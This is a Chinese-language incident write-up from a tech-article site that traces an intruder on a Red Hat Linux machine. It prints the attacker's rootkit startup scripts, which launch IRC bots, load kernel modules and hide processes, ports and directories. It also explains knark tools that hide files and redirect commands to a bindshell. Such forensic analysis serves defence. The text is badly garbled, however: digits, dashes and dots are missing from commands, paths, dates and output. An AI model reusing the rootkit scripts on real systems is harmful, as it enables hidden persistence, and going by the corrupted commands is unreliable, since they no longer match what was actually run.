熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> Oracle >> 正文

分析入侵者的過程和步驟

2013-11-13 22:09:29  來源: Oracle 

  一意外
  
    時間下午
  
    地點某台RedHat Linux機器
  
  #uname a
  Linux *net # Mon Apr :: EDT iunknown
  
    俺習慣性地先進到/etc/rcd/initd看了一下馬上發現異狀
  
  #ls la
  ……
  rwxrxrx root root Mar netfs
  rwxrxrx root root Mar : network
  rwxrxrx root root Apr nfs
  ……
  
  二初步檢查
  
    明顯是個新手干的嘛network文件被人動過了咱們用stat命令看看先
  
  #stat network
  File: network
  Size: Filetype: Regular File
  Mode: (/rwxrxrx) Uid: ( / root) Gid: ( / root)
  Device: Inode: Links:
  Access: Sun Mar :: (::)
  Modify: Sun Mar :: (::)
  Change: Sun Mar :: (::)
  
    最後被人改動的時間是號的凌晨讓我們來看看他往文件裡加了什麼吧
  
  #cat network
  ……
  /usr/lib/libddso
  
    就是這麼一句加在文件末尾看來的確是手段不甚高明瞧瞧這是個什麼文件先
  
  #file /usr/lib/libddso
  /usr/lib/libddso: ELF bit LSB executable Intel version
  dynamically linked (uses shared libs) not stripped
  
    哦是個二進制的可執行文件執行下strings看是否眼熟
  
  #strings /usr/lib/libddso
  /lib/ldlinuxso
  __gmon_start__
  libcso
  system
  __deregister_frame_info
  _IO_stdin_used
  __libc_start_main
  __register_frame_info
  GLIBC_
  PTRh
  /boot/pty/gosh <--------這條信息看上去比較有趣
  
    哦,這就簡單了嘛,俺看看這裡面的路徑:
  
  #cd /boot/.pty0
  #cat go.sh
  #!/bin/bash
  f=`ls -al /boot | grep .pty0`
  if [ -n "$f" ]; then
  cd /boot/.pty0
  ./mcd -q
  cd mech1
  ./mech -f conf 1>/dev/null >/dev/null
  cd
  cd mech
  /mech f conf >/dev/null >/dev/null
  cd
  cd mech
  /mech f conf >/dev/null >/dev/null
  cd
  
  /sbin/insmod paraporto >/dev/null >/dev/null
  /sbin/insmod iBCSo >/dev/null >/dev/null
  /ascundesh
  fi
  
    有點暈看不明白mcdmech這些東西是干嘛用的再看一下下一個腳本是什麼
  
  #cat ascundesh
  
  #!/bin/bash
  for proces in `/bin/cat /boot/pty/hdm`; do
  P=`/sbin/pidof $proces`
  if [ n $P ]; then
  killall $proces >/dev/hdm >/dev/hdm
  fi
  done
  for port in `/bin/cat /boot/pty/hdm`; do
  /nethide `/dechex $port` >/dev/hdm >/dev/hdm
  done
  for director in `/bin/cat /boot/pty/hdm`; do
  /hidef $director >/dev/hdm >/dev/hdm
  done
  
    看到這裡事情開始有趣了這似乎不是一個三流的scriptkiddle干的活嘛打個包拖回來先於是俺
  
  #cd /boot
  #ls la
  total
  drwxrxrx root root Mar :
  drwxrxrx root root Mar :
  lrwxrwxrwx root root Sep Systemmap >Systemmap
  rwrr root root Apr Systemmap
  rwrr root root Sep boot
  rwrr root root Apr bootb
  rwrr root root Apr chainb
  rw root root Sep map
  lrwxrwxrwx root root Sep moduleinfo >moduleinfo
  rwrr root root Apr moduleinfo
  rwrr root root Apr os_db
  rwxrxrx root root Apr vmlinux
  lrwxrwxrwx root root Sep vmlinuz >vmlinuz
  rwrr root root Apr vmlinuz
  
    咦事情更有趣了……居然沒有看到pty的目錄
  
  #cd pty
  #ls laF
  total
  drwxrxrx root root Mar : /
  rwxrxrx root root Mar : ascundesh*
  rwxrxrx root root Mar : dechex*
  rwxrxrx root root Mar : ered*
  rwxrxrx root root Mar : gosh*
  rwxrxrx root root Mar : hidef*
  rwrr root root Mar : iBCSo
  rwrr root root Mar : mtgz
  rwxrxrx root root Mar : mcd*
  drwxrxrx root root Mar : mech/
  drwxrxrx root root Mar : mech/
  drwxrxrx root root Mar : mech/
  rwxrxrx root root Mar : nethide*
  rwrr root root Mar : paraporto
  rwrr root root Mar : ssh_host_key
  rw root root Mar : ssh_random_seed
  rwrr root root Mar : sshd_config
  
    看來是加載了某個lkm了比較討厭
  
  #/sbin/lsmod
  Module Size Used by
  nfsd (autoclean)
  lockd (autoclean) [nfsd]
  sunrpc (autoclean) [nfsd lockd]
  cx (autoclean)
  
    這些是正常的lkm麼?前三個模塊跟rpc有關不知開了哪些rpc服務
  
  #/usr/sbin/rpcinfo p localhost
  program vers proto port
   tcp rpcbind
   tcp status
   udp rquotad
   tcp mountd
   udp nfs
   tcp nlockmgr
  
    原來如此難怪會被入侵該開的全開了不過也證明了nfsdlockdsunrpc這三個模塊沒問題了
  
    再來看看網卡吧cx是網卡的驅動模塊
  
  #/sbin/ifconfig a
  /sbin/ifconfig a
  lo Link encap:Local Loopback
  inet addr: Bcast: Mask:
  UP LOOPBACK RUNNING MTU: Metric:
  RX packets: errors: dropped: overruns:
  TX packets: errors: dropped: overruns:
  
  eth Link encap:Mbps Ethernet HWaddr ::A::B:
  inet addr:**** Bcast:*** Mask:
  UP BROADCAST RUNNING MULTICAST MTU: Metric:
  RX packets: errors: dropped: overruns:
  TX packets: errors: dropped: overruns:
  Interrupt: Base address:xe
  
  #dmesg|grep eth
  eth: Com cB Cyclone baseTx at xe ::a::b:IRQ
  eth: Setting promiscuous mode
  device eth entered promiscuous mode
  
    看來這些模塊都是正常的但比較狠的就是——device eth enteredpromiscuousmode——看來這入侵者架了sniffer開聽了但關鍵是現在這個入侵者加載了個俺看不到的家伙有些暈了……咦對了看看文件名先……
  
  三模塊介紹
  
    nethide?似乎有點印象……好吧到俺的一堆破爛裡找找……咦找到一篇knarkhacking的文章裡面有提到nethide先當下一個來玩玩吧有個版本號為knark是對LinuxKernel 行……咱們先看看這是什麼樣的內核模塊
  
    除了taskhackc之處所有這些文件都是基於knarko模塊的正確加載
  
    hidef用來隱藏你的文件或者目錄你可以建立一個目錄比如/boot/pty然後鍵入/hidef/boot/pty於是這這個目錄便被隱藏起來並且連du之類的命令也不能找出它來同樣的子目錄下的任何文件也一樣地被藏得天衣無縫
  
    ered用來重定向執行某個程序比如說你把一個bindsh*ll 的程序拷到/boot/pty/bindsh*ll 然後可以用/ered /bin/ls/boot/pty/bindsh*ll 這樣的命令將ls重定向到bindsh*ll 當然這樣的話ls是沒變但已經不能正確執行了如果要清除所有的命令重定向可以鍵入/ered c nethide用來隱藏/proc/net/tcp及/proc/net/udp裡的連接進程——netstat就是從這裡面獲取信息並 輸出
From:http://tw.wingwit.com/Article/program/Oracle/201311/18350.html
    推薦文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.